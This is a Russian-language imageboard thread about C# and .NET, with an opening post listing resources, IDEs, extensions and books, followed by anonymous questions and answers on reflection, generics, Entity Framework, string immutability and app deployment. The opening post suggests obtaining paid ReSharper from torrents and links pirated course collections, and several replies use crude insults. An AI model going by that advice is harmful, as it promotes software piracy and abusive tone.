Программирование

Ответить в тред Ответить в тред
C#/Сишарп/.NET Тред #20 /csharp/ Аноним 16/06/20 Втр 09:09:56 17244251
1592287795815.png 331Кб, 1044x1122
1044x1122
Существует множество различных платформ и языков программирования, однако среди них нет более элитного, чем C#. Это поистине язык богов, сочетающий в себе простоту использования с поистине неограниченными возможностями. Знание C# — прекрасный детектор современного, умного и успешного человека. Изучение платформы .NET безошибочно указывает на успешного в будущем человека.
ITT элита продолжает обсуждает будущее этого прекрасного и современного продукта компании Microsoft. Только в этом треде элитные разработчики ответят на самые острые вопросы индустрии. Также не забываем напоминать залетным Жаба-петухам о их месте возле параши, которая уже давно навечно забилась легаси-дерьмом и ждёт неминуемой смерти Жабы.

Литература вторым постом

1. Ресурсы:
- http://stackoverflow.com/questions/tagged/c%23
- http://www.tutorialspoint.com/csharp/
- http://professorweb.ru
- http://net-informations.com
- http://habrahabr.ru/hub/csharp/

2. Онлайн-компиляторы:
- https://dotnetfiddle.net/ - возможно лучший вариант. Встроено немного убогое, но все-таки автодополнение и проверка синтаксиса.
- http://ideone.com/
- http://csharppad.com/
- http://www.tutorialspoint.com/compile_csharp_online.php
- http://rextester.com/l/csharp_online_compiler

3. WinForms или WPF?
Зависит от задачи. Для небольших проектов, скорее всего, будет достаточно винформочек. В случае, если разрабатываемое приложение достаточно серьёзное, то возможно его стоит писать с использованием WPF. WPF очень хорошо работает с паттерном MVVM ( https://ru.wikipedia.org/wiki/Model-View-ViewModel ), и позволяет пилить очень кастомизированные интерфейсы с помощью XAML, что в случае WinForms, делать намного сложнее. Оба будут поддерживаться в .NET Core, поэтому не стоит беспокоиться о будущем, если шлёпаете формочки.

4. Мне тут знакомый_нейм сказал, что C# умирает, это правда? Может не стоит его учить?
Неправда. C# довольно активно развивается, недавно вышла третья версия .NET Core фреймворка и восьмая версия языка. Весь дотнет понемногу становится опенсорсным, а ASP.NET становится независимым от платформы. В некотором смысле понемногу вымирают десктопные приложения с развитием веб-технологий, но в том же энтерпрайзе он еще очень даже востребован.

5. Какую ИДЕ выбрать?
Для Windows самым очевидным вариантом будет Visual Studio (https://www.visualstudio.com/en-us/downloads/download-visual-studio-vs.aspx). Студия распространяется в двух редакциях: бесплатная коммьюнити-версия и платный энтерпрейс эдишн. В большинстве случае будет достаточно Community-версии: она поддерживает и C#, C++, VB.NET и F#, а так же имеет возможность установки дополнений
Для мака и никсов самый юзабельный вариант - MonoDevelop ( http://www.monodevelop.com/download/ ).
Для vim можно использовать OmniSharp ( https://github.com/OmniSharp/omnisharp-vim ).
Кросплатформенный полуредактор/полуIDE VS Code ( https://www.visualstudio.com/en-us/products/code-vs.aspx )
Также существуют плагины для Atom'а и Sublime Text, но функциональность там достаточно сильно урезана.
Кроме того, в данный момент JetBrains активно пилит свою IDE для шарпа (Project Rider), вероятно в ближайшее время станут доступны первые EAP. IDE заявлена как кросплатформенная, со всем решарпер-функционалом, поддержкой отладки, моно и .net core.
SharpDevelop - еще одна IDE для C#, отличается малым размером (около 20мб) и опциональной портабельностью, при этом имея дизайнер WinForms и WPF, а также интеграцию с FxCop, StyleCop и прочими ништяками. Если хочется что-то по быстрому набросать, а выкачивать гигабйты нет желания, то возможно SharpDevelop будет лучшим вариантом.

6. С# для мобильной разработки
Если нужны инструменты для разработке под мобилы, смотри сюда - https://docs.microsoft.com/ru-ru/visualstudio/cross-platform/cross-platform-mobile-development-in-visual-studio?view=vs-2019.
Из актуальной литературы
- Xamarin Mobile Application Development
- Xamarin Essentials

7. Дополнительные инструменты для разработки на C#
LINQPad - сорт оф REPL, с возможностью быстрого подключения к БД и удобной визуализацией данных
dnSpy - декомпилятор, малоизвестный форк ILSpy, где реализована возможность модификации IL-кода прямо в EXE и DLL файлах, отладка IL-кода и много других фич для reverse engineering'а. Плюс няшные темы как в студии
scriptcs - для запуска C# кода как скриптов, возможность использовать как REPL

8. Расширения для студии
ReSharper - одно из известнейших. Рефакторинги, умный автокомплит, настраиваемый стиль кода. Платный, но можно стянуть с торрентов
Supercharger - показывает "карту" с классами, методами и всем остальным сбоку от кода с возможностью прыгать по ним
Indent Guides - показывает вертикальные линии на каждом уровне отступов.
Format document on Save - форматирует код каждый раз при сохранении документа
Code alignment - Выравнивает код по указанным символам. Удобно, например, при инициализации словарей или в перечислениях

Обзор Roslyn: https://github.com/dotnet/roslyn/wiki/Roslyn%20Overview
Новые возможности C# 8.0: https://docs.microsoft.com/ru-ru/dotnet/csharp/whats-new/csharp-8

Код этой шапки: https://pastebin.com/YJFQKsNm

Прошлый тред тонет здесь: >>1665540 (OP)
Аноним 16/06/20 Втр 09:10:37 17244282
9. Что почитать?
- The C# Player's Guide, второе издание (RB Whitaker) - отличная книга для ньюфагов в шарпе, все расписывается довольно подробно, очень много примеров кода.
- C# 7.0 in a Nutshell (Joseph Albahari и Ben Albahari) - огромнейший справочник, over 1000 страниц, покрывает почти все области, начиная с синтаксиса и базовых типов и заканчивая интеропом и рослином. Уже появилось издание для 8.0, однако в интернетах пока его нет.
- C# 7.0 Pocket Reference (Joseph Albahari и Ben Albahari) - просто выжимка из справочника, можно всегда держать рукой
- Pro C# 7: With .NET and .NET Core (Andrew Troelsen) - 1600-страничный учебник по шарпу, покрывает BCL, WPF и ASP.NET, небо и даже аллаха.
- C# 6.0 Cookbook (Jay Hilyard и Stephen Teilhet) - книга в формате "проблема-решение", можно пройтись по оглавлению, найти интересные проблемы и попыпаться самому решить, а уже потом посмотреть представленное решение. Книга скорее не для ньюфагов, а для тех, кто уже знаком с шарпом.

10. Более хардкорный материал
- CLR via C# (Jeffrey Richter) - это классика, это знать надо.
- C# in Depth (Jon Skeet) - написана в виде истории версий C#, начиная с C#1.0. Описываются возможности, которые были добавлены в определенной версии и далее достаточно хардкорно и подробно эти возможности расписываются.
- Writing High Performance .NET Code (Ben Watson) - охуенная книга. В основном фокуируется на оптимизации дотнет-говна. Методы оптимизации проложений, профилирование, вот это все. Крутейшая и достаточно детальная глава по GC. Рассматриваются достаточно известные проблемы вроде "for vs foreach", "класс vs структрура", кастинг, боксинг, перфоманс регулярок, коллекций, исключений. Короче все что нужно, чтобы вам перезвонили.


11. Хочу еще хардкорней
- C# Deconstructed (Mohammad Rahman) - введение в CLR, модели памяти и выполнения в CLR, байтоебство, JIT. Книга достаточно коротенькая, менее 200 страниц, можно осилить за пару дней. Желателен опыт работы WinDbg и понимание устройства PE-формата.
- Expert C# 5.0 with .NET 4.5 Framework - еще одна книга этого автора, в этот раз намного длиннее. Очень много IL, анализа и разбора стандартной либы (те же коллекции), разбор ивентов, дегегатов, асинхронности etc. на уровне байткода.
- .NET IL Assembler (Serge Lidin) - ILёбство, во многих местах повторяет документацию MSDN, но при этом имеет много интересных дополнений и заметок. Кроме того все неплохо структуировано и разложено по красивым табличкам

12. Литература по WPF
Из более-менее актуального можно выделить пару книг:
- Pro WPF 4.5 in C# (Matthew MacDonald)
- Windows Presentation Foundation 4.5 Cookbook (Pavel Yosifovich)

13. Литература по ASP.NET
- Professional ASP.NET MVC 5 (Jon Galloway, Brad Wilson, K. Scott Allen, David Matson)
- Pro ASP.NET MVC 5 Platform (Adam Freeman)
- Beginning ASP.NET for Visual Studio 2015 (William Penberthy)

14. Литература по асинхронности, параллелизму и всему такому
- Concurrency in C# Cookbook (Stephen Cleary) - книга, написанная в формате "проблема - решение". Кроме базовых вещей, вроде асинков и параллелизма рассматриваются TPL Dataflows, Rx (реактивные расширения), тестирование всего этого асинхронного добра, ну и работа этого всего на более низких уровнях абстракции
- Multithreading in C# 5.0 Cookbook - в основном ничего интересного, но есть довольна неплохая глава про синхронизацию, пусть и не слишком детальная
- Pro Asynchronous Programming with .NET (Richard Blewett, Andrew Clymer) - опять же, интересного немного, но неплохие главы про асинхронность + UI и анализ дампов памяти в windbg

15. Литература не по шарпу, но так или иначе связанная с языком
C# Game Programming Cookbook for Unity 3D (Jeff W. Murray) - разработка на шарпе под Unity
Introduction to Neural Networks with C# (Jeff Heaton) - изучение нейронных сетей с примерами кода на шарпе. Под конец пишем программу для распознавания символов и нейроботов.
Machine Learning Using C# Succinctly (James D. McCaffrey) - довольная коротенькая книга на тему машинного обучения с примерами кода на C#. Ничего особого: k-средние, классификация, наивный байес, но с кодом, который всегда можно поразбирать, если что неясно.

16. Но я не знаю английский, как я буду это все читать?
На некоторые из перечисленных книг есть переводы, которые можно найти на том же рутрекере, однако, зачастую эти переводы неактальны, содержат неточности, и не самые понятные варианты перевода. Кроме того, переводы обычно пилятся только для нескольких самых популярных книг, более-менее серьёзный материал не переводят. Всегда можно сесть со словарем и понемногу читать, переводя непонятные фрагменты. Это очень полезно, так как в любом случае в разработке без знания ангельского делать нечего. Если очень хочется, то гуглить по запросам: "C# 5.0, Справочник. Полное описание языка", "C# для профессионалов. Тонкости программирования", "Программирование на платформе Microsoft .NET Framework 4.5 на языке C#"

17. Что еще нужно знать, чтобы взяли работать за еду?
- SQL - подойдет люая книг по MSSQL/MySQL, базовые запросы, SELECT, INSERT, DELETE, UPDATE. Джойны, индексы, нормализация. В контексте шарпа еще ORM: Entity Framework, Dapper
- Системы контроля версий - обычно гита достаточно: add/commit/push, merge, rebase, checkout, remote's, разрешение конфликтов, трехпанельные дифф-менеджеры, cherry-pick
- Гитхабы-гитхабчики - issues, организация пулл-реквестов, интеграция с appveyor, теги, релизы, маркдаун
- Алгоритмы - сложность алгоритмов, сортировки (пузырек, быстрая, вставками), поиск, рекурсия, алгоритмы на строках
- Структуры данных - связанные списки, деревья (бинарные, красно-черные, b-деревья), хеш-таблицы, графы
- Если идти в веб - HTML, CSS, JavaScript, веб-сокеты, REST
- Паттерны проектирования, стиль кода, внедрение зависимостей, MVVM (если хочется в WPF), SOLID

18. Я не умею читать, что посмотреть?
- Programming with C# - https://www.edx.org/course/programming-c-microsoft-dev204x-0
- Beginning Game Programming with C# - https://www.coursera.org/course/gameprogramming
- C# Fundamentals: Development for Absolute Beginners - https://goo.gl/meyyxO
- Коллекция видеоуроков, по всему дотнетовскому и смежным темам (250 часов, на русском) - https://nnm-club.me/forum/viewtopic.php?t=891636
- Набор курсов по C# от O'Reilly Media (28 часов, на английском) - http://rutracker.org/forum/viewtopic.php?t=5082978
Аноним 16/06/20 Втр 11:10:14 17244913
Благословляю тред
шарпошиз
Аноним 16/06/20 Втр 11:12:56 17244924
>>1724425 (OP)
>Также не забываем напоминать залетным Жаба-петухам о их месте возле параши, которая уже давно навечно забилась легаси-дерьмом и ждёт неминуемой смерти Жабы.
Уберите из шапки.
Аноним 16/06/20 Втр 11:16:29 17244945
>>1723695 →
>>1724005 →
Бампаю вопрос. Нихуя не понимаю, где рефлексия используется. Чес слово. На пальцах - у меня хоститься ASP.NET Core 3.0 бэкенд (назовем его Main) в виде Web Api для моей GUI на React свестелки-перделки. Задача бэка - оперировать данными полученных с фронта (обычный мать его КРУД). На кой хуй, вопрос - мне рефлексия. Предлоложим, что у меня должен быть 24/7 аптайм в моем Main (бэке) и у меня нет доступа к исходнику своей же бэк-side апликухи (окей), в этом случае исходя из поста >>1724005 → я создаю отдельный солюшен, рефлекшу свой Main, прикручиваю функционал, которого нет на Main и ... Что блять дальше? Хостить его на другом порте, чи шо? И как я буду манипулировать сотней Reference в мой "Костыль" из Main? И как Main вообще будет знать о таком "Костыле". Нипонимаю, нихуя.
Реальный юзкейс для Reflection, который я нашел - это InteliSense и disassembler.
Поясните, христа ради, кто в теме.
Аноним 16/06/20 Втр 11:17:41 17244956
>>1724492
хорошо, что заметил. Что за долбоеб создавал тред?
Аноним 16/06/20 Втр 11:22:01 17245047
>>1724495
Двачую C# и Java - братья на век.
Аноним 16/06/20 Втр 11:28:43 17245088
Аноним 16/06/20 Втр 11:47:12 17245239
Аноним 16/06/20 Втр 12:10:11 172453610
>>1724508
Ну если время проебать хочешь и создать видимость того, что ты какие-то навыки и знания приобретаешь, то оба ресурса справятся с этой задачей одинаково хорошо. Если хочешь навыков и знаний, то тут только книги из шапки. Рекомендую начинать с Троелсена.
Аноним 16/06/20 Втр 12:24:00 172455711
>>1724494
>Вопрос - зочем? Ладно, если какой то крупный интерпрайз 24/7 крутиться в продакшене и к нему нет доступа
При чем тут продакшн и доступ к нему? Возьми программу типа браузера, ты можешь написать к нему расширение. Чтобы это расширение работало, браузеру нужно использовать рефлексию и изучать код твоего расширения, встраивая его функционал в рантайме. Т. е. при помощи рефлексии ты делаешь свою программу расширяемой.
>К примеру?
Любой фреймворк, от WPF до ASP.NET, все они используют рефлексию, дописывая большую часть кода за тебя.
Если используешь Атрибуты, значит тоже используешь рефлексию, например при создании типа в который у тебя будет парситься JSON, ты добавляешь свойству атрибут JsonConverter(typeof(DetailsBodyConverter)) и таким образом библиотека понимает, что ей нужно достать из метаданных этот JSON конвертер и использовать его при парсинге.
>3. Почему не перекомпелировать?
К какому пункту это относится? Если к последнему, то я написал, что возможности заново компилировать код может и не быть, например если ты проебал исходники на какой-нибудь старый модуль, который нужно изменить.

> На кой хуй, вопрос - мне рефлексия.
Тебе уже всё в том посте описал. Ты какое-то дерьмо непонятное придумал и спрашиваешь зачем тебе рефлексия, так, будто её нужно применять везде, независимо от приложения и его назначения.
Аноним 16/06/20 Втр 12:36:35 172456312
>>1724557
>браузеру нужно использовать рефлексию и изучать код твоего расширения
хороший пример
>Если используешь Атрибуты, значит тоже используешь рефлексию
разве это не обычная библиотека?
Спасибо за ответы, впринципе прояснил - это как на WebApi делать эндпоинты для модулей, расширяющих функционал приложения. Поэтому я и спрашивал за то, как основной модуль узнает о всех новых - аналог метода со входящими параметрами.
Аноним 16/06/20 Втр 13:08:40 172458913
>>1724515 →
Вы с нуля проекты пердолите? Если да, то я смотрел спичи (часовые) на релизах - там были чуваки, которые толкали за архитектуру. Были ли мне полезны эти знания - нет. Делал себе заметки, пересмотрел даже, в голове остались 1-2 фичи, остальное - как смысло в унитаз
Аноним 16/06/20 Втр 16:17:46 172479914
Есть годная литература по ASP NET Core?
Аноним 16/06/20 Втр 16:28:45 172481515
>>1724799
мне сегодня контора объявила, что передумала меня на курсы шарпа отправлять.
знак свыше! пойду питон дальше учить
Аноним 16/06/20 Втр 16:32:58 172482216
>>1724815
Это тебе знак искать другую контору. На тебе поставили крест.
Аноним 16/06/20 Втр 16:37:12 172482917
Вы так говорите "джава", будто она тоже для клепания формочек для шинды.
Аноним 16/06/20 Втр 16:42:52 172483718
Аноним 16/06/20 Втр 17:02:07 172487519
>>1724815
>>1724822
не факт, скорее всего просто проекты прикрыли на решетках. Я уже писал в прошлом треде - у нас так отдел распустили. Так что или прыгнешь на другой стул или пойдешь по ветру
Аноним 16/06/20 Втр 17:17:33 172490120
>>1724563
>разве это не обычная библиотека?
Что "это"? Если ты попробуешь создать свой атрибут, то поймешь, что без рефлексии он будет бесполезен, потому что понять, что у класса есть какой-то атрибут, можно только при помощи рефлексии.
Аноним 16/06/20 Втр 17:19:08 172490421
>>1724829
>тоже
У неё одно предназначение - ковырять многолетнее легаси, которое написали индусы за 2$/день.
Аноним 16/06/20 Втр 17:23:36 172491222
>>1724904
А то в остальных не-хипстерских языках не так.
Аноним 16/06/20 Втр 18:36:00 172500323
>>1724536
В чем разница между книгой и этими сайтами? В книгах только воды побольше
Аноним 16/06/20 Втр 18:56:41 172502924
>>1725003
>воды

Почему? Потому что тебе лень мозгами шевелить и хочется верить в чудо вида "вот щяс прачитаю мутанита и стану сишарпирам даа... вооот...."? У сайтов вообще нет никакого практического применения. Если тебе нужно краткое изложение и освежить память, то для этого есть исчерпывающая документация. Научить они ничему не могут. Вот и выходит, что их применение это подкрепление маняфантазий лентяев вроде тебя.
Аноним 16/06/20 Втр 19:13:12 172505525
А у меня вопрос немного касающийся шарпа сбоку. Смотрите, есть клиент на Angular, очивидно я хочу логинить/регистрировать пользователя. Так вот, как мне передавать данные от пользователя? Ну, т.е. я понимаю, что не в открытом виде. Но какой механизм обычно используется? Скажем, если я на стороне клиента зашифрую информацию о нем с помощью SHA256, то как мне расшифровать это на стороне сервера это дело? А потом же надо заново зашифровать чтобы в БД сохранить, что в данном случае используют умные дядьки в качестве соли?
Как же плохо, когда на твоей специальности не было криптографии и вообще вам просто говорили: не еби мозг и бери готовое решение.
Аноним 16/06/20 Втр 19:15:15 172505926
>>1725055
Бери ASP.NET и не еби мозги, тебе всё правильно говорили. В любом случае, если ты не придёшь к уже готовому решению, то сделаешь только хуже.
Аноним 16/06/20 Втр 19:19:19 172506527
>>1725059
Я не могу пользоваться готовыми решениями, если сам к ним не пришел. Такой вот я мудак.
Аноним 16/06/20 Втр 19:25:41 172507528
>>1725065
Ну тогда бери готовое решение и смотри как сделано в нём. Ты ведь не настолько тупой, чтобы думать, что тебе сейчас в одном посте распишут путь по которому ты придёшь к готовому решению, верно?
Аноним 16/06/20 Втр 20:09:44 172513429
ребят объясните как читается эта запись и что почитать об этом?

IEnumerable<TResult> GetProductsWithStock<TResult>(Func<Product, TResult> selector);
Аноним 16/06/20 Втр 20:20:21 172514530
>>1725134
ЯПеречеслитель< для типа ТэРесалт> ДайПродуктыСоСтока <для типа ТэРесалт>(Функция< для типов Продукт, ТэРесалты> выборщик)

А если серьезно, это женерик, на вход функции подается делегат функции, результатом которого будет TResult.

Скажем для инта это будет значить
IEnumerable<int> GetProductsWithStock<int>(Func<Product, int> selector); что ты хочешь получить перечислитель типа int, для этого ты передаешь ссылку на функцию, для типа Product результатом которой будет int.

ХЗ понятнее ли тебе стало.
Чтобы понимать это проще, нужно про женерки почитать и, соответственно, делегаты.
Аноним 16/06/20 Втр 21:23:51 172518831
.png 63Кб, 1444x864
1444x864
>>1725134
Да, вот тебе простой пример.
Так конечно делать неправильно, но может быть суть яснее станет.На деле женерики почти никогда не нужны и использовать их следует только если ты знаешь что именно сейчас оно и надо.
Да, про интерфейсы ничего не сказал, но суть, интерфейс это как-бы контракт между программистам, который гарантирует, что у объекта который имплементирует интерфейм будет какой-то набор методов -> указывая что в функцию передадут объект "ЯДрочлио" ты можешь не париться и более-менее быть уверен что у объекта будет метод "Дрочить" с определенной сигнатурой и ты можешь его использовать, а если все обвалится это проблемы того кто имплементировал интерфейс, а не твои.

долбоеб второкурсник
Аноним 17/06/20 Срд 07:24:48 172572732
Посоны, кто на питоне пишет в Visual Studio, объясните, почему при открытие отдельного файла, вне проекта, окно Class View пустое, как заставить среду, чтобы она парсила файл в любом случае, хоть в отдельном файле, хоть в проекте?
Аноним 17/06/20 Срд 09:28:31 172580633
>>1725188
>долбоеб
только в этом ты прав
Аноним 17/06/20 Срд 10:01:15 172582934
>>1725727
На питоне же неудобно пиздец писать в студии, автокомплит через жопу работает.
Аноним 17/06/20 Срд 10:28:04 172584135
>>1725829

Я не хочу себе другую иде заводить для питона. Мне он на время нужен.
Аноним 17/06/20 Срд 13:26:19 172600436
C# - это легаси, надо мигрировать на vala с с-апи, это будущее.
Аноним 17/06/20 Срд 18:43:16 172633637
Аноним 17/06/20 Срд 18:45:30 172634038
>>1726004
Зачем, если давно уже стандарт делать гуй в браузере? Я сейчас не про электрон.
Аноним 17/06/20 Срд 21:36:22 172647339
>>1725806
Окей. Поясни. Давай, мне даже интересно.
По твоему женерки нужно во все дырки пихать? А может быть интерфейс это не обычное указание того что ты хочешь обьек, который имеет функцию с такой сигнатурой?
Аноним 17/06/20 Срд 21:43:11 172648640
Немного покодил на шарпе. Много сахарка, но все же родные кресты мне ближе. А еще со строками какая то херота, зачем было делать string и stringbuilder?
Аноним 17/06/20 Срд 21:48:44 172649441
>>1726486
Потому что во многих языках дрочат на иммутабельность, и строки здесь неизменяемые. И принято, если нужно сконкатенировать несколько строк, юзать билдер.
Аноним 17/06/20 Срд 21:50:23 172649542
Посоветуйте какую-нибудь книгу по SQL. Кушать хочется, а без него на работу не берут.
Аноним 17/06/20 Срд 22:25:27 172653643
Ребята, только начал изучать шарп, сделал задание по созданию класса X содержащего массив из элементов другого класса Y и несколько методов. Сейчас второе задание:
Customize X class using various types of statements and parameters.
Может кто кто конкретнее объяснить что нужно сделать(с примером небольшим?)
Аноним 17/06/20 Срд 22:35:24 172655044
>>1726536
Попробуй параметров в конструктор нахуярить, чтобы когда экземпляр своего класса создаешь поля задавались корректными значениями.
Аноним 17/06/20 Срд 22:45:45 172656145
>>1726473
>Давай, мне даже интересно.
хуй привстал даже? Долбоеб второкурсник, который не знает за боксинг/анбоксинг? Или не знает за систему контроля типов? И ковариантность наверное не нужна? Прийдешь на галерку (если прийдешь, в чем я сомневаюсь по предыдущему посту) тебе там пояснят как нужно типы создавать. И попробуй такое на собесе пиздануть, что дженерики не нужны, не успеешь перднуть, как полетишь пинком под зад
>>1726486
>string и stringbuilder
system.string - статическая
system.text.stringbuilder - динамическая
Дрочилам по быстродействию и расчету байтов - инструмент оптимизации. Кресты лучше, бросай эту хуйню
>>1726494
>во многих языках дрочат на иммутабельность
ФП петух в треде, я спокоен
>>1726495
>книгу по SQL
u gonna be kidding me
>>1726536
>Customize X class using various types of statements and parameters.
как ты тогда учишь, если после первого задания ты бежишь на борду спрашивать что и как? Если хочешь начать осваивать ЯП первый совет тебе - научись находить решения самостоятельно
Аноним 17/06/20 Срд 22:53:59 172656446
>>1726561
Снобствующий долбоеб называет кого-то петухом. Спешите видеть.
Аноним 17/06/20 Срд 23:13:00 172657147
>>1726561
> ФП петух в треде, я спокоен
Чини детектор, я лютый сторонник мутабельности и вообще императивщины.
Аноним 18/06/20 Чтв 06:42:10 172669348
Code.jpg 439Кб, 1890x1025
1890x1025
Что я не так делаю? Почему это не похоже на урок по сишарпу? Где using system и прочее говно?
Аноним 18/06/20 Чтв 06:49:41 172669549
>>1726693
>Почему это не похоже на урок по сишарпу?
Потому что это С++.
Аноним 18/06/20 Чтв 06:56:36 172669850
>>1726695
Как заставить это сделать консольное приложение по c#?
Аноним 18/06/20 Чтв 09:35:31 172674751
>>1726698
>Как заставить это сделать консольное приложение по c#?
Переписать на c#
Аноним 18/06/20 Чтв 20:08:13 172756052
Помните я спрашивал про поиск пустых и жаловался на то что память жрет. Вы еще тогда посоветовали что-то типа:
var freeID = _db.Users.Select(x=>x.ID+1).Except(_db.Users.Select(x=>x.ID)).OrderBy(x).First();
Так вот, я два дня мучался с таким вот способом, но EF упорно кидает ошибку The binary operator is not defined. Вот блин, что не так-то я делаю? Почему если я делаю это же но предварительно в лист запихнув ID все работает нормально(но жрет кучу памяти). Вернее я понимаю, это какая-то срань с IQueryable(наверное), наверное надо Where использовать, но блин. Аааааа. Я горю от своей тупости. Нахуй я в эту залупу полез-то? Да и вообще, имхо было бы проще реально написать просто SQL запрос, но типа же это не тру вей для .net'чика, но блядь, 2 дня проебать пытаясь эту срань сделать, когда мог бы за минуту написать нативный запрос. Пиздос нахуй
Аноним 19/06/20 Птн 12:50:32 172796853
>>1727560
Че за база? Я проверял на SQLite все работало. Подключи логгер и посмотри что за запросы улетают в базу. Мне, например, еф генерировал cross apply. хотя sqlite его не поддерживает.
А еще IQueryable не могет (но это не точно) в Equals, надо через == писать.
Аноним 19/06/20 Птн 20:37:04 172836354
>>1727968
> Че за база?
PostgreSQL.
Подключу, но уже в понедельник.
Аноним 19/06/20 Птн 21:26:25 172839855
Аноним 20/06/20 Суб 01:13:38 172861956
A89bwlA6.png 54Кб, 512x512
512x512
>>1724425 (OP)
Привет скажите пожалуйста куда нажать если я прям совсем дурачок клинический(0 опыта в программировании) но очень хочу научиться сишарпу, ну или на крайний случай направьте куда то еще, спасибо!
ну не надо писать там про всякое на сонную артерию себе нажми или на кнопку выключения компьютера не надо я правда интересуюсь
Аноним 20/06/20 Суб 01:26:39 172862357
>>1728619
Начни с установки Visual Studio 2019.

https://www.youtube.com/watch?v=ZO7KXU2GNqA

Там же есть видосы для совсем новичков, кроме того на рутрекере видеокурсы лежат. Вникай, гугли, читай, не ленись писать код и все комментируй для себя, как понимаешь. В последствии все это может тебе пригодиться.
Аноним 20/06/20 Суб 01:31:02 172862858
>>1728623
Понял, спасибо. А сишарп вообще нормальная отправная точка? Или это прыжок выше головы? Не нужно какой-нибудь питон учить сначала? Или опыт в одном языке мало помогает в другом?
Аноним 20/06/20 Суб 01:49:59 172864059
>>1728628
Если ты хочешь именно c#, то стартуй с него. Захочешь - вьедешь в любой язык, до определенного предела, который зависит от твоего стремления учиться.

Если сам не знаешь чего хочешь, то сперва определись для себя сам. Поспрашивай по тредам конкретные вопросы. Погугли. Так-то все высокоуровневые языки для макак и домохозяек делаются. Ничего сложного именно в освоении нет.
Аноним 20/06/20 Суб 02:48:33 172866260
private void test()
{
bool flag = true;
while (true)
{
try
{
if (!flag)
;
if (Content())

Пацаны, я в шарп не в зуб ногой, но нужно переписать шарп на питон. Что значит строчка:
if (!flag)
;
Если flag = false, то что мы делаем? Ничего? Вызывается exception?

Аноним 20/06/20 Суб 02:52:38 172866561
>>1728662
Просто я нихуя не пойму. Шизик старательно в функции меняет значения flag с True на False и обратно, но единственная проверка на этот flag это вот:
if (!flag)
пробел_;
Аноним 20/06/20 Суб 03:10:00 172867062
>>1728665
пробел_;
Символ удаления же.
Аноним 20/06/20 Суб 03:15:31 172867163
>>1728665
Там могла быть неиспользуемая переменная, которую среда обычно предлагает заменить на символ удаления.
Аноним 20/06/20 Суб 03:37:22 172867564
>>1728662
>>1728665
Кажется этот код ничего не делает. Он не рабочий.
Аноним 20/06/20 Суб 08:01:36 172869165
15922041844460.png 131Кб, 500x427
500x427
Вкатываюсь в айти через дотнет!
Аноним 20/06/20 Суб 08:24:48 172869366
Аноним 20/06/20 Суб 08:35:40 172869567
>>1728693
Да нет, в школе был стремный жс, сейчас читаю Троелсена, вроде нормально идет. Только не понял, зачем нужны F# и визуал бэйсик.
Аноним 20/06/20 Суб 09:47:31 172871068
>>1728695
>в школе был стремный жс
Что? Ты в слове паскаль сделал пару ошибок.
Аноним 20/06/20 Суб 09:53:34 172871669
>>1728710
Деда, ты от жизни отстал. В школах давно перешли на JS и питон. Между делам рассказывают про древние технологии времен палеолита, типа ПХП и джавы, но это так, для общего развития.
Аноним 20/06/20 Суб 10:19:19 172872770
В общем, я бы хотел чтобы пользователь с правами суперюзера мог изменять настройки для моего приложения на лету. Скажем, он решит что сегодня мы не регистрируем клиентов, жмакнул в менюшке и контроллер при попытке регистрации будет отдавать 400 ошибку всем решившим зарегаться. Или что надо ограничить число единовременных подключений. Вот это вот все. Ну, собственно, как это сделать динамически? Все настройки-то я вынес в appsetting.json, там можно все настроить и при перезапуске оно сменится. А как теперь сделать чтобы это же из админской менюшки на сайте делалось-бы?
Аноним 20/06/20 Суб 12:10:51 172878871
>>1728363
Я проверил, все работает. У тебя значит еще какая-то хуйня на запрос навешана.
Аноним 20/06/20 Суб 12:16:02 172879372
>>1728788
Да ничего не навешано. Буквально тот же запрос.
Я думаю, может быть это связано с тем, что поле типа UInt32, а PG там беззнаковые по своему хранит(как bigserial) и провайдер запросов не понимает как привести к этому самому UInt32. ХЗ короче.
Аноним 20/06/20 Суб 12:21:49 172879773
>>1728675
>>1728671
Вполне возможно, потому что это код после декомпиляции. Видимо не дописал этот момент автор
Аноним 20/06/20 Суб 12:23:13 172880074
>>1728670
двач удаляет пробелы
пробел;
Аноним 20/06/20 Суб 13:35:02 172885575
>>1728793
Попробовал с uint, всё равно работает.
Аноним 20/06/20 Суб 13:57:35 172888076
>>1728855
Проверил на домашней копии проекта и действительно все работает. ХЗ почему на работе не работает. Хотя там рассинхрон кодовой базы имеется в 4 месяца работы, может быть я там в каком-то другом месте пролюбился и теперь такая вот штука происходит.
Аноним 20/06/20 Суб 14:08:18 172889377
Шарпаны, такой вот вопрос. Вот я написал свою программулину. А как теперь мне ее другим людям доставить? Ну, скажем я сделал файловый менеджер но работает он через браузер. Как теперь сделать так, чтобы человек мог установить себе мой файловый менеджер и потом при включении ПК он бы тоже запускался, без всяких плясок с бубном со стороны пользователя? Ну, т.е. да, я могу скриптик для павершела написать, который создаст сервис который будет в автозапуске, но у многих же скрипты павершеловские будут блокироваться и не каждый пользователь будет хотеть их вообще запускать. Вот я и подумал насчет инсталятора, но не совсем понимаю чем их делают для .net core. Я гуглил про доставку ПО клиенту и там куча примеров с Эйжур, а вот обычные консольные приложения, которые работают локально, как-то не особо освещаются.
Аноним 20/06/20 Суб 17:44:35 172907278
Я хочу приконнектиться в базе данных, написал в App.config блок connectionStrings, написал саму connectionString. А когда с самим кодом работаю - у меня
System.Configuration.ConfigurationManager.ConnectionStrings[name].ConnectionString
нихуя найти такую ConnectionString не может. В чем может быть проблема?
Аноним 20/06/20 Суб 17:46:50 172907379
>>1729072
Алсо, даже через дебаг посмотрел - у меня ConfigurationManager.ConnectionStrings имеет один элемент. Только это нихуя не тот элемент, что я вручную добавляю. А элемента, что я добавляю, и вовсе нет.
Аноним 20/06/20 Суб 17:47:55 172907480
>>1729073
Неправильно делаешь.
Аноним 20/06/20 Суб 18:04:17 172908981
>>1729072
>>1729073
>>1729074
Я долбаеб и забыл, что для юнит-тестов нужно эксплицитно ссылаться на App.config. Все работает.
Аноним 20/06/20 Суб 18:07:53 172909382
>>1729089
>эксплицитно

ЯВНО, дебила кусок.
Аноним 20/06/20 Суб 18:49:19 172912383
>>1729093
Пис оф менталли хендикаппед персон.
Аноним 21/06/20 Вск 00:28:44 172935084
>>1729093
«Явно» уебищно звучит.
Я активно топлю за максимальное заливание в рус.яз англицизмов.
Тем более в программировании, где английский - доминирующий.
Русский вообще неудобный устаревший язык, единственное его спасение - форсированная модернизация, через займ слов и оборотов из актуальных языков.
Аноним 21/06/20 Вск 00:32:55 172935185
>>1729350
каргокультист закукарекал заместо жабаскриптера
Аноним 21/06/20 Вск 00:57:27 172936786
15817941724383.png 450Кб, 1225x977
1225x977
>>1729089
>эксплицитно
хуясе какие слова умные. Ты чей будешь, холоп?
